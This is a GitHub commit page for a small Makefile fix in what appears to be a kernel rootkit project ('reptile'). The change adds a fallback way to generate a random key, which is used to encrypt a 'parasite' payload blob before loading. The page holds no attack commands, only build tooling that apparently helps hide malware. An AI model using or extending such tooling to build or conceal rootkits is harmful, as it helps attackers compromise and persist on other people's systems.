Skip to content

Commit

Permalink
Merge pull request f0rb1dd3n#66 from kaimi-/patch-2
Browse files Browse the repository at this point in the history
 Compatibility fix
  • Loading branch information
f0rb1dd3n authored Jan 28, 2019
2 parents be75a20 + 7f2e249 commit 24998ac
Showing 1 changed file with 2 additions and 1 deletion.
3 changes: 2 additions & 1 deletion parasite_loader/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,10 @@ all: encode
cp parasite_loader.ko ../bin/reptile

encode:
RAND := $(shell openssl rand -hex 4 > /dev/null 2>&1 && openssl rand -hex 4 || cat /dev/urandom | head -c 4 | hexdump '-e"%x"')
$(MAKE) -C encrypt
encrypt/encrypt $(PARASITE) \
0x$(shell openssl rand -hex 4) > parasite_blob.inc
0x$(RAND) > parasite_blob.inc

clean:
$(MAKE) -C encrypt clean
Expand Down

0 comments on commit 24998ac

Please sign in to comment.